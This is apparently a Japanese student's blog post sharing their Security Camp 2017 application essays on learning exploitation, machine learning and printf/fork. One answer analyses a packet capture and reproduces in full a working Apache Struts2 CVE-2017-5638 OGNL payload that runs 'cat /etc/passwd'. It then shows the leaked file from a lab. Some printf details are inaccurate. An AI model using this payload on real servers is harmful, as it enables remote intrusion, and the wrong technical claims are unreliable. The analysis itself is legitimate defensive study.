おしゃべりラビットフット

noobが這い上がって行く記録

セキュリティキャンプ2017 応募用紙晒す

今年が最後のチャンスだったので何としてでも参加したいと思っていました。

そして無事セキュリティキャンプ全国大会の合格通知をいただくことができました。

在学中の目標を一つ達成できたのでとても嬉しいです。

読みにくいかもしれませんが、来年以降参考になればと思い応募用紙を晒しておきます。

 

変な文章や内容の間違いには目を瞑ってください。

 

 

共-1

レベルの低さが滲み出てしまっているので省略しますw

プログラミングコンテストの予選で作成したものや

サーバー、ネットワークの構成、コマンドを直接書いたりしました。

 

共-2(1).
あなたが経験した中で印象に残っている技術的な壁はなんでしょうか?
(例えば、C言語プログラムを複数ファイルに分割する方法など)

exploitです。

2016年のSECCON予選に参加した際、pwnに関する知識が全くなかったの全ジャンル合わせて3問程度しか解法がわかりませんでした。

これまではリバースエンジニアリングやネットワークのパケット解析などを中心に取り組んでいましたが、ほとんど経験のないexploitを使用する問題が多かったためです。

とても悔しく思い、危機感も覚え、exploitの勉強に取り組むことにしました。バッファオーバーフローや書式文字列攻撃、ROPなど基本的な攻撃は理解できましたが、
Unlink Attackなど少しレベルが上がっただけでとても難しく感じました。

これまで避けてきたジャンルだったのでCTFでもなかなか結果をだせず苦手意識も持っていました。

そしてexploitの勉強に多くの時間を使ってきたことから、一番印象に残っている技術的な壁はexploitです。


共-2(2).
また、その壁を乗り越えるためにとった解決法を具体的に教えてください。
(例えば、知人に勧められた「○○」という書籍を読んだなど)
エクスプロイトに関しては軽く触れた程度で、どのような手順を踏んで最終的に何をすればいいのかといった知識がほとんどなかったので、まず専門書ベースで勉強を始めました。

使用した書籍は「HACKING:美しき策謀」「たのしいバイナリの歩き方」「BINARY HACKS」「セキュリティコンテストチャレンジブック」「サイバーセキュリティテストチャレンジブック」などでヒントになりそうな部分やエクスプロイトに関する部分を読み勉強しました。

次に、過去私が参加した勉強会の資料を読んでみたら、当時私が理解できなかった部分が理解できるようになっていたのでそういったものも読み漁り学んでいきました。

次に以下の動画を何度か見ることでデータ構造などの理解を深めました。

https://www.youtube.com/watch?v=0-vWT-t0UHg

そして、CTFのwriteupやエクスプロイトに関するウェブページと書籍を参考にCTFなどのpwnを通して勉強を進めていくことで知識や技術力をあげていくことができました。

実際に試してみることでしっかり身につけられたと思います。

次にpwnable.krやNarniaを利用して問題を解いていきましたがすぐにつまずいてしまいました。

なので自分で脆弱性のあるソースをコーディングしてエクスプロイトを試し、基礎を学びなおしました。

そのうえでpwnable.krやNarniaを利用していき、shellなど分からない部分がでてきたらその都度調べながら進めていきました。

ある程度こなしたら、CTFコンテストに参加し問題によっては解けるようになりました。

解けない問題はwritupをみて、まったくわからないこともありますが、学んでいきました。

次に高いモチベーションを持つことです。

私は探求心や好奇心といったものがモチベーションにつながりました。

知らない技術や知らない知識を調べて、多少効率が悪くても自分の力で達成できた時の達成感や調べながら色々なコマンドを入力したり、設定をいじったり、試行錯誤して勉強していくのが面白かったです。

そして解決できた時の達成感がとてもあります。

そういった中で諦めないでやれば割と何とかなってしまうということに気づき、本来自分が身に着けたい技術以外にもプログラムの仕組み、ASLRなどのセキュリティ対策の仕組み、コマンドや仕様、調べる力なども同時に身につけられたと思います。

 

共-2(3).
その壁を今経験しているであろう初心者にアドバイスをするとしたら、あなたはどんなアドバイスをしますか?
まず諦めないことです。

私はすんなりできてしまうこともあれば、些細なことで丸一日、場合によってはもっと時間がかかってしまうこともあります、ですが諦めずに色々ためすことで達成してこれたし、そうやって達成したことは記憶にも残りました。

環境の構築などは私は時間がかかっても周りに詳しい人がいなかったので自力で頑張りましたが、もしつまずいてしまったら時間がもったいないので友人や周りの詳しい人に聞くことをお勧めします。

技術的な面では、C言語アセンブリ、ツールの使い方など基礎を固めるようアドバイスします。

私も基礎のところで知らない部分が多くあり苦労しました。

次に書籍を多く読むことを勧めます。私自身書籍を多く読むことで効率よく多くの情報を得ることができました。

そうすると、自分が分からないものが明確になると思うのでそういった場合にインターネットで調べたり、詳しい友達などに教わると良いと伝えます。

理解で来たら実際にエクスプロイトを試してみると早く身に着けることができると思うので色々試すことをお勧めします。

その際も基礎的なところから試すべきです、

バッファオーバーフロー脆弱性などがあるソースコードを自分で書くところから始めて

理解していくのが良いです。

自分で脆弱性のあるコードをコーディングして勉強していくのはかなり勉強になりました。

エクスプロイトだけではなく、C言語などに慣れていない人はプログラミングの勉強にもなると思います。

私は普段ネットワーク中心の勉強をしているので練習になりました。

ある程度身に着けることができたら次に

pwnable.krやNarniaなどエクスプロイトを学習できる環境があるので、そういった場を利用して行くのが良いです。

私はいきなりこういったものを利用して勉強しようとしましたが最初の数問でつまずいてしまいました。

なので基礎を固めてからやるのをお勧めします。

それでもある程度こなしたらつまずいてしまうことがあるかもしれません。

そういったときに調べて解法が分かったときにそれが知らない方法だったら、新しい知識が増えていくのです。

ある程度こなしたらCTFなどでpwnの100ポイントくらいだったら解けるレベルになっていると思います。

そういった問題に挑戦して自分の成長をたしかめたり、

pwnの400ポイントなど難易度の高い問題に挑戦して、解けなくても競技終了後writeupを読みながら復習してみると良いと思います。


そうやって知識の習得や問題を解いた時の達成感だったり面白さを知ってもらえるようなアドバイスをしたいです。

 

共-3(1).
あなたが今年のセキュリティ・キャンプで受講したいと思っている講義は何ですか?(複数可)
そこで、どのようなことを学びたいですか?なぜそれを学びたいのですか?
すべて受けたいという気持ちがありますがそれは不可能なので

時間割に沿って書いていきます。

無事選考に通った場合、受けられなかった講義に関してはセキュリティミニキャンプで取り扱うものがあれば積極的に参加していけたらと思います。


[A1 PowerShellベースのマルウェアとその防御手法]
・学びたいこと
PowerShellベースのマルウェアがどのような動作をするのか実際に操作して得られる知識やひらめき
スキャンしても検出不可能なコードをどのようにすれば防御できるかの考察をして知識を得たい

・理由
私は将来マルウェアに携わる業務を行いたいと思っています。マルウェア解析などをする中で。GithubTwitterを使ったRATなど、そんな方法があったのか。と思うようなマルウェアを目にすることがあります。
PowerShellベースのマルウェアも聞いたことはありましたが、今まで取り扱ったことがなかったので、ぜひ実際に触ってみたいと思いました。
防御手法なども学ぶことができるので将来業務に活かせることができるかもしれない。そういった思いから学びたいと思いました。

[D2~3 カーネルエクスプロイトによるシステム権限奪取]
・学びたいこと
CTFで過去に出題されていたことがあるようですが、私はカーネルエクスプロイトに関して勉強会に参加したり技術書を読む中であまり学んだことがなかったので、独学だけじゃ分からなかった部分そして、カーネルエクスプロイトに関して調べてウェブで見つからなかったような内容を多く吸収したいです。

・理由
自分の端末のOSの脆弱性を発見してセキュリティ業界に貢献したいと思っていた時期があります。
この講義をきっかけにカーネルエクスプロイトに関する技術力を身に着けて将来実現したいです。
またブラウザの脆弱性と組み合わせる発展形ということで将来の業務に活かせるのではないかと思いました。
Androidのcrackは経験があるのですが、かなり初歩的な部分なので。カーネルエクスプロイトを通じてもっと深い知識を得たいです。

[D4マルウェア x 機械学習]
・学びたいこと
マルウェアの検知にどのように機械学習を活かせるのかということ。
機械学習の限界やどうすれば有効に活用できるのかということに関して、自分の考えを持てるようになりたいです。

・理由
機械学習やIoTはといった分野はトレンドなのでそういった面の知識もやはり知っておくべきだと感じました。
今後この業界で働いていく中で絶対に関わるであろうものなので、自分なりの考えをもてるようになりたい。マルウェアにも関心を持っているので、あわよくば検知ロジックを自分で開発したい。そういう思いから学びたいと思いました。
いずれ機械学習によってセキュリティ分野の働き方も変わってくると思います。
もし私がエンジニアとして働いている間にシンギュラリティが起こり、働き方が変わってしまっても、エンジニアとして人の手が必要な部分はあると思うので高度なスキルを身に着けそういった場面で活躍できる人材になりたいです。将来マルウェア解析をしているかわかりませんが、マルウェア解析でどこまで自動化できるのかという知識を持つことで、ほかの分野にも活かせる部分はあると思ったからです。


[D5 The Anatomy of Malware ]
・学びたいこと
マルウェアの静的解析技術を身に着けたいです。
マルウェアを静的解析していく中で、書籍などからでは知ることのできない、コツやノウハウみたいなものを知れたらと思います。
どのようなところに着眼してどういった流れで解析を進めていけば良いのか、など

・理由
マルウェア解析は経験がありますが、あまり得意意識は持っていません。
またマルウェアと分かっているものを解析しているので
業務で本当にマルウェアなのかわからないものを解析するのとでは難易度もかなり違うと思います。
なのでこの講義をきっかけにマルウェア解析技術を身に着け、キャンプ終了後はレポートが無いような新しい検体を入手して自分で解析を進めていき技術力を向上させていきたいです。
日本を標的とした近年のマルウェアを解析していくといったところにも魅力を感じました。

[B6 AVRマイコンで作るBadUSB工作・改]
・学びたいこと
どういったところまで実装することが可能なのか限界を知りたいです。
そもそもどうやって作っているのかを学びたいです

・理由
SNSなどで繋がりのある人たちは作ったことがある人が多く、私もこの機会にぜひ作りたいと思いました。
物理的なものなのでどのような対策ができるのか、またそれを考えられるだけの知識を身に着けたいと思いました。

[A7ファジング実習]
・学びたいこと
ファジングを行う際、何をすればどのようなバグや脆弱性が見つかるのかなど、知識を多く得たいです。
機器のファジングに関して関心があるので手法を身に着けたいです

・理由
CODEBLUE2016で「私のモデムに誰がバックドアを仕掛けたのか?」という講演を聴講して機器のファジングに興味を持ちました。
興味を持ちましたが実際にファジングする機会もなく時が過ぎていったので、この実習でファジングについての知識を得て
自分のネットワーク機器などをファジングするのに活かしていきたいと思いました。

 

共-3(2).
あなたがセキュリティ・キャンプでやりたいことは何ですか? 身につけたいものは何ですか?(複数可)
自由に答えてください。

 

私には将来「世界に通用するセキュリティの技術者になる」という夢があります。

具体的に話すと

まず高い技術力を身に着けたいです。

その技術を活かして後輩の育成そして、最終的には世界中のエンジニアや学生に講演や講義を行い人材育成をしていきたいです。

また、その技術を活かして未知の脆弱性を発見していきたいです。

そういったことを積み重ねblack hatなどのセキュリティカンファレンスでスピーカーとして登壇したり

書籍の執筆を行う。

これが私の夢です。

そして、セキュリティキャンプへ参加し様々な経験をすることでこの夢に近づけると思っています。

 

まずセキュリティ分野に興味を持つ自分と同世代の学生たちと繋がりたいです。刺激を受けモチベーションにも繋がると思います。そしてキャンプ後も長く付き合いを続けていきたいです。

これまでCODEBLUE学生スタッフやセキュリティミニキャンプなど様々なセキュリティイベントや勉強会への参加を通じて少なからずコミュニティ形成をしてくることができました。

それでも少数です。

身近にセキュリティ分野に興味をもって勉強したり、セキュリティイベントなどへ参加したりしている人間がいないので私がつまずいたとき専門的な内容を教えてもらうことやセキュリティの会話をする機会がほぼありません。

なのでセキュリティキャンプではそういったコミュニティを作り上げていきたいという思いがあります。

また私は学校の友人に勉強会やCTFを紹介したりしていて、少し興味をもってくれる人も中にはいます。

このキャンプで学んだことを友人や後輩へフィードバックし、興味を持ってくれる人を増やしていけたらと思っています。

 

また、私が一番身に着けたいものはマルウェア解析技術です。

私は「Practical Malware Analysis」という書籍をベースにマルウェア解析を学びました。

マルウェア解析のインターンシップにも参加もさせていただきました。

マルウェアそのものや解析するのは好きですし、強い関心はあるもののマルウェアの静的解析は得意ではなく、むしろ苦手意識を持っています。

なのでマルウェアの講義で技術を習得し苦手意識を無くし今後に活かせればと思います。


そして、ネットワークセキュリティを専攻しているということもありネットワークのセキュリティ分野に関しても深く掘り下げていきたいという思いがあります。

私が以前参加したセキュリティミニキャンプではネットワークに絞った内容だったのですが、全国では幅広い分野を学べるチャンスがあります。

幅広く学べるチャンスがあるので、マルウェアやネットワークだけでなく、関心はあったが触ってこなかった分野、例えば機械学習やIoT、カーネルなど自分があまり知らない分野に挑戦して自分の可能性や視野を広げて行きたいです。

また、専門書や勉強会では学べないこと、費用的、技術的に環境を用意するのが困難なもの、そして一日のような短期間ではなく数日間、自分と同じ世代のセキュリティに関心を持つ人たちと一緒に講義に取り組む、そしてセキュリティ分野に精通しているすごい方達から講義を受けることができる、そのようなキャンプじゃないとできない経験をしたいです。

このキャンプで得た知識や技術を活かして今後も勉強を進め、ステップアップしていけたらと考えています。

私にはまだ誇れる程の技術力がないので、このキャンプでの経験を活かして高みに行きたいです。


選-A-1.
添付したファイルに記録された通信を検知しました。この通信が意図するものは何か、攻撃であると判断する場合は何の脆弱性を狙っているか。また、通信フローに欠けている箇所があるがどのような内容が想定されるか、考えられるだけ全て回答してください。なお、通信内容を検証した結果があれば評価に加えます。
wiresharkで開くとスリーウェイハンドシェイクなどTCPプロトコルのパケットが表示された

その中でhttpが一つだけ行われていたのでTCPストリームを行うと以下の情報が表示された。


GET /struts2-rest-showcase/orders.xhtml HTTP/1.1
Host: 192.168.74.130:8080
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:51.0) Gecko/20100101 Firefox/51.0
Content-Type: Content-Type:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):*1.(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

(#cmd='cat /etc/passwd')と書いてあることからパスワード情報を得ようとしているのではないかと考えました。

このことから攻撃であると仮定して考えていくことにしました。

ほかに気になった点としてはポートが55522や8080、53653などがある点です

まず、GET /struts2-rest-showcase/orders,xhtml となっているので

Apache struts2に関する脆弱性を調べた結果

https://www.ipa.go.jp/security/announce/struts2_list.html
が分かりました。

cmd cat /etc/passwd に着目し、Apache struts2で任意のコマンドを実行できる脆弱性ということでCVE-2017-5638(S2_045)だと推測しました。

RCE(Remote Code Execution)
Content-TypeにOGNLを入れると実行されてしまう脆弱性のようです。

調べる中でパケットを見ていると。cmd.exeなどは通常のHTTPアクセスでは参照を許可していないと分かり、攻撃であるという疑いが強まりました。


検証していきます。

VMwareでubuntu16.04を起動し

dockerで環境を構築しました。

使用したApacheのバージョンは2.5.10です。

上記を用いてやられ環境を構築し

RESTClientを使用して攻撃検証を行っていきました。


RESTClientのResponse Body(Raw)の表示を見ていきます。

Content-Typeに課題のパケット内から引用した以下のテキストを入力します。

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):*2.(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}


以下の結果が得られました。

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
messagebus:x:104:107::/var/run/dbus:/bin/false

攻撃が反映されcat /etc/passwdコマンドで表示されるユーザー情報と同じ形式の上記のものが表示されました。

以上のことからこのパケットはApache Struts2のCVE-2017-5638(s2-045)を狙ったものと判断しました。


また、通信フローの欠けている箇所に関して見ていきます。

欠けているのが

No.7のTCP 53653 → 22のACK後からです。

IPを見ると192.168.74.1と192.168.74.130とのやり取りで

欠けている部分の
192.168.74.1からの通信には[ACKed unseen segment]

192.168.74.130からの通信には[Previous segment not captured]となっています。

Seqが1093と大きくなっており AckとSeqの値が1464と続いています。

Seqは送信しているデータが何バイト目なのかを表し
Ackは受信済みのデータが同様に何バイト目なのかを表します。

TCP Previous Segment not capturedと表記されていますが直前のセグメントが見えていない時に表示されるものです。
 
可能性としては
WireSharkの処理が遅かった
・パケットを失った
・順番が入れ替わった

以上の可能性が考えられます。

今回パケットを見ると3ウェイハンドシェイクのコネクションの切断部分が欠けていることが分かります。

NO.8のACKがFIN要求より前に来ているので、順番が入れ替わったために欠けてしまっているのではないかと思います。

以上が私の考えです。

今回この選択問題をやってみて、これまでは、初歩的なインジェクション系の攻撃やXSSくらいしかウェブの脆弱性には触れていなかったのですが、低レイヤーよりもイメージがしやすく、面白さを感じ高レイヤーにも興味を持ちました、今後はバグハンティングなどにも挑戦してウェブの脆弱性を発見し、セキュリティ分野に貢献できたらと思います。

 

選-A-2.
機械学習の弱点は何だと思いますか?
まず機械学習とは何か。

機械学習とは、人工知能における研究課題の一つで、人間が自然に行っている学習能力と同様の機能をコンピュータで実現しようとする技術・手法のことである。
ある程度の数のサンプルデータ集合を入力して解析を行い、そのデータから有用な規則、ルール、知識表現、判断基準などを抽出し、アルゴリズムを発展させる。

とありました。

機械学習の定義があいまいだったのですが機械学習で使われるアルゴリズムによって細分化され呼び名が変わったり機能などに大きな違いがあることが分かりました。

機械学習の発展形として深層学習があります。

ニューラルネットワーク(人間の脳をモデルにしたアルゴリズム)を用いた機械学習のことです。

まず、ニューラルネットワークを学習させるアルゴリズムの中からバックプロパゲーションというアルゴリズムを挙げます。

wikiを参照すると
バックプロパゲーションアルゴリズムに関しては以下の流れで行うようです。

ニューラルネットワークに学習のためのサンプルを与える。
2ネットワークの出力を求め、出力層における誤差を求める。その誤差を用い、各出力ニューロンについて誤差を計算する。
3個々のニューロンの期待される出力値と倍率(scaling factor)、要求された出力と実際の出力の差を計算する。これを局所誤差と言う。
4各ニューロンの重みを局所誤差が小さくなるよう調整する。
5より大きな重みで接続された前段のニューロンに対して、局所誤差の責任があると判定する。
6そのように判定された前段のニューロンのさらに前段のニューロン群について同様の処理を行う。

私は、機械学習を研究していたり、これまであまり触れたことがなかったので、アルゴリズム自体はさっぱりわからないですが、何が言いたいのかというと

このアルゴリズムの他にも、様々なアルゴリズムが考案されていますが、アルゴリズムによって不得意があります。

上記にあげたバックプロパゲーションは出力層ニューロンの出力値を近似するための最適化アルゴリズムです。

学習での収斂が非常に遅いことや中心極限定理というものに従わないデータは学習できないなど様々な限界があります

人間の脳は個人差はあるものの同じ仕組みで働いているはずです。

ですが現在機械学習はまだ発展段階であり、アルゴリズムによって向き不向きがあり、様々なアルゴリズムが混在しています。部分的に人間を超えることはできても、現在はすべてにおいて上回るようなことにはなっていないはずです。

ということです。

次に機械学習と深層学習を別のものとして考えるとAIなどでは機械学習が劣ってしまう面が多いです。

逆に機械学習は人間が学習の方向性をコントロールできますが

深層学習のようにみずから学習するわけではありません。

そのため果物や動物などを見分ける時には深層学習ではどの特徴で見分けるべきか自分で学習して性能を向上させていくことが可能ですが、機械学習は色の情報などを渡してあげることが必要になります。

上記で記載したものはそれぞれ弱点と言える部分だと思います。


機械学習を深層学習などもまとめて大きなくくりで考えると

TwitterMicrosoftのTayという人工知能に関して、悪意のあるユーザーによって人種差別や性差別などを教えられ、そのような発言をツイートするようになり停止したことがあります。

与えられる情報によって意図しない差別的な思想を学習してしまう

そういった面は弱点だと思います。

上記のように人工知能で利用されているわけですが、

データベースに存在しないことは簡単ことでも失敗をしてしまいます。

例えば、将棋ではプロ棋士より強いコンピュータが入玉というあまり見ない戦法を使われ、理解が足らず負けた事例があります。

このことから将棋以外の面でも人間が当たり前のようにできる単純なことに対して、データベースが乏しい場合はそれが原因で失敗してしまう恐れがある、という弱点があると考えられます。

 

また、機械学習のモデルは人間が決めます。

このモデルを選んだ時点で大体の最高性能が決まります。

アルゴリズムによってはこの時点でできなかったことが、学習してできるようになることはほぼないです。

次に機械学習はデータを反復的に学習し、そこに潜むパターンを見つけ出すので、膨大なデータが必要な面。

そして、そのために集めたデータが役に立つか未知であるため、費用対効果が図りにくい面。

機械が判断していくことになるので、中身が複雑な場合人間にはどのパラメータがどの判断に影響しているのかわからないため精度が悪化した場合原因を突き止めることが困難という面。

これらは弱点として考えられます

 

次にオーバーフィッティングがあります。

オーバーフィッティングとは学習データには適合するが新たなデータ予測することができないモデルができてしまうことです。

オーバーフィッティングまでの過程をオーバートレーニングと呼びます

その過程は人間が決めるものです。

オーバーフィッティングの原因としては

・学習データが足りない。

・モデルが複雑で自由度が高すぎる。

・学習データに例外データの割合が多い。

などが考えられます。

これに関しても弱点といえると思います。

人間が間違ったテストデータを使用することや間違った学習方法することで起きてしまう不具合が多い印象を受けました。
人間の手が必ず必要な面があることが弱点と言えるのではないでしょうか。

深層学習などが発展していき、最終的に人間の力を一切使わずに発展していけるようになればコントロールが効かない点が不安ですが、機械学習としての弱点はほほなくなるのではないかと私は考えました。


以上のことからアルゴリズムなど内部のソフトウェア面においてはまだ未熟で学習するにあたって膨大な時間がかかったり、様々な問題があることが分かります。

そして、ハードウェア面においてもまだ未熟です。

NVIDIAGPUが近年注目されており、注目される理由としてはCPUでは上回れない計算速度がGPUにあるからです。

GPUメーカーの中でNVIDIAが選ばれる理由としてはフレームワークがCUDAというライブラリなどに依存しているからです。NCCLやフーリエ変換などの数学ライブラリも提供されています。

また機械学習では行列などの計算を用いるのでGPUの並列計算に特化したアーキテクチャが注目されています。

例えば

画像認識においてフォワードプロパゲーションとバックワードプロパゲーションの繰り返しを行うことで対象が何の画像であるのか計算の重み付けを更新していき

学習済みモデルが未知の画像を読み取り何が映っている画像であるのかを認識し識別できるようになっていきます。

ここでは行列演算が使われます。

ここでの演算処理は膨大な時間がかかりますがGPUを使用することで大きく短縮できるようになりました。

CPUを使った処理と比べて、かなり処理速度は向上したものの、やはり時間がかかります。

この膨大にかかる時間の短縮が今後の課題、弱点であるのではないでしょうか。

今後、量子コンピュータなどが実用化され機械学習に使えれば大きな進歩があるかもしれません。


選-A-4.
C言語のprintf()関数またはUNIXのfork()というシステムコールについて、これらはどのようなものですか? 数値や文字列を表示する・プロセスを作るというだけではなく、深堀りして考え、疑問を持ち、手を動かして調べてわかったことを教えてください。
printf()関数はライブラリ
fork()はシステムコールです

ライブラリとシステムコールの違いとしては

ライブラリ
カーネルの機能を使わない
・バイナリの大きさは重視しない

システムコール
カーネルのプログラムを使う
・最小のバイナリ

などが考えられます。

まずprintf()関数に関して考えていきたいと思います。

printf()関数はC言語の標準入出力ヘッダーのstdio.hで宣言されている関数のことです。

文字列や数値などの画面出力をするためのもので、また出力変換指定子を用いて%dなどで書式を指定する必要があります。

%d int値 符号あり10進数
%i dと同じ
%u int値 符号なし10進数
%X int値 符号なし16進数
%x int値 符号なし16進数
%o int値 符号なし8進数
%q int値 符号なし4進数
%b int値 符号なし2進数
%p ポインタの値を16進数
%s null終端文字列へのポインタを受け取り
%c int値を文字として
%S ワイド文字列
%C cと同じ
%f double値を通常の少数表現
%e double値を指数表現
%E e同じ
%g 数値の大きさに応じてfまたはeのいずれかの書式で出力
%G gと同じ
%n 何バイトのデータが書き出されたか出力する(脆弱性が発見されてC11以降の環境では使えないようです)

\nで改行のようにエスケープシーケンスという機能があります。

\a コード 07 機能 内臓ベルを鳴らす
\b コード 08 機能 バックスペース
\f コード 0C 機能 改頁
\n コード 0A 機能 改行
\r コード 0D 機能 復帰
\t コード 09 機能 水平タブ
\v コード 0B 機能 垂直タブ
\\ コード 5C 機能 \自身
\' コード 27 機能 '
\" コード 22 機能 "
\? コード 3F 機能 ?
\ooo コード 機能 8進数
\xhh コード 機能 16進数

%xと\xで16進数表示での違いがイメージできなかったので確かめてみました。

#include<stdio.h>
int main(void)
{
printf("\x40");
return 0;
}

出力結果 @

\xhh は16進数に対応したAsciiの文字が返ってくるということが分かりました。

\oooの場合は8進数に対応したAsciiの文字が返ってきます。

 

私はprintf()関数がどのような仕組みで成り立っているのか疑問に思い

@ubuntu:~$ cat /usr/include/stdio.h 

上記のコマンドでヘッダーファイルの中身を見てみました。

printf()関数などのプロトタイプ宣言はヘッダーファイルで行われているようですが

printfがどのように実装されているのか、ここでは見つけることができませんでした。

Webで調べてみるとソースが見つかりました。

printf()関数を使った数行のコードでも裏で様々なコードが動いていることが分かりました。

次に

printf()のHelloWorldとシステムコールを使用したHelloWorldの比較をして出力の違いなどを見ていきます。

まずHello Worldと表示するプログラムを書いてコンパイル・リンクを行いファイルサイズを表示します。

@ubuntu:~$ cat hello.c

#include<stdio.h>

int main(void){

printf("Hello World");

return 0;

}
@ubuntu:~$ vi hello.c
@ubuntu:~$ gcc -o hello -v hello.c
~省略~
gnu/5/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/5/crtbegin.o -L/usr/lib/gcc/x86_64-linux-gnu/5 -L/usr/lib/gcc/x86_64-linux-gnu/5/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/5/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/5/../../.. /tmp/ccbDJb4S.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --as-needed -lgcc_s --no-as-needed /usr/lib/gcc/x86_64-linux-gnu/5/crtend.o /usr/lib/gcc/x86_64-linux-gnu/5/../../../x86_64-linux-gnu/crtn.o

@ubuntu:~$ wc -c hello
8608 hello

以上出力結果が得られました。

様々な.oファイルをhelloバイナリにリンクしている。

ファイルサイズは8608バイト。

以上のことが分かります。

ライブラリとして最小のバイナリを目指しているわけではないこととカーネルの機能を使わない、反面システムコールは最小を目指しているわけなのでシステムコールHello Worldを書いた場合はさらに少ないバイトでコンパイルができると考えられます。

システムコールのwriteを用いてHello Worldを作っていきます。

@ubuntu:~$ cat syshello.c
#include <unistd.h>

int main(void)
{
write(1,"Hello,World!\n", 12);
_exit(0);
}

@ubuntu:~$ gcc -o syshello syshello.c
@ubuntu:~$ ./syshello
Hello,World!
@ubuntu:~$ wc -c syshello
8656 syshello

8656バイトでした。

予想と違い増えてしまいました。


アセンブリでHelloWorld出力プログラムを作ってみます。

アセンブリを利用するにあたってシステムコール番号をレジスタに入力する必要があるので以下のコマンドで調べました。

@ubuntu:~$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h
#ifndef _ASM_X86_UNISTD_64_H
#define _ASM_X86_UNISTD_64_H 1

#define __NR_read 0
#define __NR_write 1
#define __NR_open 2
#define __NR_close 3
#define __NR_stat 4
#define __NR_fstat 5
以下省略

アセンブリでHelloWorldを書いていきます。

@ubuntu:~$ cat print.s
.data
msg: .ascii "Hello,World!\n"
.global main
main:
movl $4, %eax
movl $1, %ebx
movl $msg, %ecx
movl $13, %edx
int $0x80

movl $1, %eax
movl $0, %ebx
int $0x80


@ubuntu:~$ gcc -o printasm print.s
@ubuntu:~$ ./printasm
Hello,World!
@ubuntu:~$ wc -c printasm
8608 printasm

8608バイトでした。

printfのプログラムと同じ値になりました。

よく考えるとprintfで書いた場合も、アセンブリに変換されるのでアセンブリなどを使用して単純にシステムコールを使用するだけでは最小のメモリにはならないのではないかと思いました。

しかしprintfを使用していないので納得がいきませんでした。

次に「BYNARY HACKS」という書籍の94ページ以降を参考にシンボルを消すとバイトを少なくできました。

@ubuntu:~$ strip -s printasm
@ubuntu:~$ wc -c printasm
6320 printasm
ubuntu:~$ file printasm
printasm: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ff80ba5887c492d4f01629f9d453fc5cadea983d, stripped

6320バイトになりました。

上記に上げたコンパイルリンクを行ったHelloWorldプログラムはglibcの初期化を行うためのコードが含まれておりglibcに含まれる関数をせず.oファイルをリンクしないようにすれば小さなバイナリになるようです。
シンボルの削除などを行った場合は少ないバイトにすることが可能ですがこれに関しては、どのプログラムにも言えることです。単純にシステムコールを使うだけではprintfを使った場合とあまり差はないという結果がでました。


次にforkに関して考えていきます。

forkとは子プロセスを生成するものです。

まずはプロセスについて考えていきます。

仕組みとしてはプロセス内でシステムコールを発行することによってカーネルの機能を利用しているようです。

プロセスはtask_struct 構造体で表現されています。

psコマンドを用いてシステム上で動作しているプロセスを見てみます。

@ubuntu:~$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.5 119804 5124 ? Ss May17 0:05 /sbin/init auto noprompt
~省略~
xn16h7 27429 0.0 0.5 22580 5108 pts/2 Ss 06:54 0:00 bash
